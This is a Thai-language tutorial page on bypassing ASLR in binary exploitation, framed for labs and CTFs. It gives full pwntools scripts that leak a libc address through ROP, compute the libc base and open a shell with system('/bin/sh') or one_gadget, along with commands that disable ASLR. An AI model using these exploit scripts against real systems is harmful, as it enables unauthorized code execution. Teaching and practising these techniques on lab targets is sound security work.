ASLR
ASLR (Address Space Layout Randomization) สุ่ม base address ของ stack, heap, และ shared libraries ทุกครั้งที่รัน ทำให้เดา address ของ gadget/ฟังก์ชันไม่ได้ การ bypass หลักคือ leak address จริงสักตัว แล้วคำนวณ base จาก offset ที่คงที่ บทนี้ลงลึกกลไก, การ leak, การหาเวอร์ชัน libc, การคำนวณ, และ one_gadget (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ — สุ่ม base แต่ offset คงที่
ก่อนมี ASLR libc/stack อยู่ address คงที่ทุกครั้ง เดาได้ง่าย ASLR สุ่ม base address ใหม่ทุก execution — system() จึงอยู่คนละที่ทุกครั้ง แต่จุดสำคัญคือ offset ภายใน library ยังคงที่ (เพราะทั้ง library ถูกโหลดเป็นก้อนเดียว เลื่อนทั้งก้อน) ดังนั้นถ้า leak address จริงของสิ่งใดสิ่งหนึ่งใน libc ได้ ก็คำนวณ base ได้ แล้วได้ address ของทุกอย่างใน libc นั้น
2. Leak libc address
วิธี leak ที่พบบ่อยคือใช้ ROP เรียกฟังก์ชัน print (puts/printf) ให้พิมพ์ค่าใน GOT ของฟังก์ชันที่ resolve แล้ว — GOT เก็บ address จริงใน libc ดังนั้น puts(puts@got) จะพิมพ์ address จริงของ puts ออกมา
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')
rop = ROP(elf)
offset = 72
# เรียก puts(puts@got) เพื่อ leak address จริงของ puts แล้วกลับ main
rop.call('puts', [elf.got['puts']])
rop.call('main') # กลับมาส่ง payload รอบสอง
payload = b'A'*offset + rop.chain()
p.sendline(payload)
# รับ leak (6 byte address + padding)
p.recvline()
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f"puts @ {hex(leak)}")3. หาเวอร์ชัน libc (สำคัญมาก)
การคำนวณ base ต้องใช้ offset ที่ ตรงกับเวอร์ชัน libc ของเป้าหมาย ถ้าโจทย์ remote ไม่ให้ libc มา ต้องหาเวอร์ชันจาก leaked address (เลขท้าย 3 หลักของ address คงที่ต่อเวอร์ชัน)
# leak address ของ 2 ฟังก์ชัน (เช่น puts, printf) แล้วค้นเวอร์ชัน
# เว็บ: libc.blukat.me หรือ libc.rip — ใส่ชื่อ+เลขท้าย 3 หลัก
# local libc-database
git clone https://github.com/niklasb/libc-database
cd libc-database && ./get # โหลด libc ทุกเวอร์ชัน (ครั้งแรก)
./find puts 850 printf 710 # ค้นจากเลขท้าย address
# ได้ชื่อ libc → ดาวน์โหลดมาใช้คำนวณ offset
# หรือ pwntools libcdb
# จาก leak: libc = ELF(libcdb.search_by_symbol_offsets({'puts': leak & 0xfff}))4. คำนวณ base และ exploit
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6') # เวอร์ชันที่ตรงกับเป้าหมาย
p = process('./vuln')
offset = 72
# ... (leak puts จาก section 2 ได้ค่า leak) ...
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
# คำนวณ base: base = leaked - offset_ของ_symbol_นั้น
libc.address = leak - libc.symbols['puts']
log.success(f"libc base @ {hex(libc.address)}")
# ตอนนี้ได้ address จริงของทุกอย่าง
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
# payload รอบสอง: system("/bin/sh")
rop = ROP(libc)
rop.call('system', [binsh])
p.sendline(b'A'*offset + rop.chain())
p.interactive()5. one_gadget — ลัดสู่ shell
one_gadget หา 'magic gadget' ใน libc — address เดียวที่เรียกแล้วได้ execve("/bin/sh") ทันที (ถ้า constraint ตรง) ใช้แทน system("/bin/sh") เมื่อจัด argument ยาก เพราะแค่กระโดดไป address เดียว
# หา one_gadget ใน libc
one_gadget ./libc.so.6
# ได้หลาย address พร้อม constraints เช่น:
# 0xe3afe execve("/bin/sh", ...) constraints: [rsp+0x50]==NULL
# ใช้ใน exploit: libc.address + one_gadget_offset
# payload = b'A'*offset + p64(libc.address + 0xe3afe)
# (ต้องเลือกตัวที่ constraint ตรงกับ state ตอนนั้น)6. หมายเหตุและทางลัด
- ASLR สุ่มเฉพาะ base — offset ภายใน library คงที่ (หัวใจของการ bypass)
- PIE คือ ASLR สำหรับตัว binary เอง (ดูหัวข้อ PIE)
- stack/heap ก็สุ่ม — อย่า hardcode stack address เมื่อ ASLR เปิด
- 32-bit: entropy ต่ำ อาจ brute-force ได้; 64-bit: ต้อง leak
- ปิด ASLR ตอน debug:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space(เฉพาะ lab) - ต้องมี libc ตรงเวอร์ชัน — remote ไม่ให้ → libc-database จาก leak
7. Quick Reference
- ASLR สุ่ม base ของ stack/heap/libc ทุก run; offset ภายในคงที่
- leak 1 address → คำนวณ base → ได้ทุก address
- leak: ROP puts(puts@got) หรือ format string
- หาเวอร์ชัน libc: libc.rip / libc-database ./find จากเลขท้าย
- คำนวณ: libc.address = leak - libc.symbols['puts']
- exploit: ret2libc รอบสอง (system/binsh) หรือ one_gadget
- 32-bit อาจ brute; 64-bit ต้อง leak
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติทำ ret2libc/ROP มาได้ครึ่งทางแล้วแต่ address ใน libc เปลี่ยนทุกครั้งที่รัน (ASLR เปิด) — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อ leak แล้วคำนวณ base
- 1เช็คว่า ASLR เปิดจริงไหม (lab เท่านั้น):
cat /proc/sys/kernel/randomize_va_space(2 = เปิดเต็ม) - 2หาวิธี leak: ใช้ ROP เรียก
puts(puts@got)แล้วrop.call('main')กลับมารับ input รอบสอง - 3รับค่า leak ใน python:
leak = u64(p.recvline().strip().ljust(8, b'\\x00')) - 4เอาเลขท้าย 3 หลักของ leak (12 bit ล่างไม่ถูกสุ่ม) ไปค้นเวอร์ชัน libc
- 5เปิดเว็บ
libc.ripหรือlibc.blukat.meใส่ชื่อ symbol (เช่น puts) + เลขท้าย 3 หลัก - 6หรือใช้ local libc-database:
git clone https://github.com/niklasb/libc-database && cd libc-database && ./get - 7ค้นด้วย
./find puts <เลขท้าย>ได้ชื่อไฟล์ libc → ดาวน์โหลดมาใช้ - 8คำนวณ base:
libc.address = leak - libc.symbols['puts'] - 9ถ้าจัด argument ยาก ลอง
one_gadget ./libc.so.6หา address เดียวที่ execve('/bin/sh') ได้เลย - 10ยิง ret2libc รอบสอง:
rop.call('system', [binsh])หรือกระโดดไป one_gadget address
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| leak/สร้าง ROP | pwntools | pip install pwntools | - |
| ระบุเวอร์ชัน libc จาก leak | libc-database (git clone) | git clone niklasb/libc-database | libc.rip, libc.blukat.me |
| หา one_gadget | one_gadget (gem) | gem install one_gadget | - |
| debug ยืนยัน base | gdb + gef/pwndbg | bash -c "$(curl -fsSL https://gef.blah.cat/sh)" | - |
| หา gadget สำหรับ ROP leak | ROPgadget / ropper | pip install ropper | ropshell.com |
| patch binary ให้ใช้ libc เฉพาะ | patchelf | apt install patchelf | - |
| ปิด ASLR ชั่วคราว (lab เท่านั้น) | sysctl | - | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้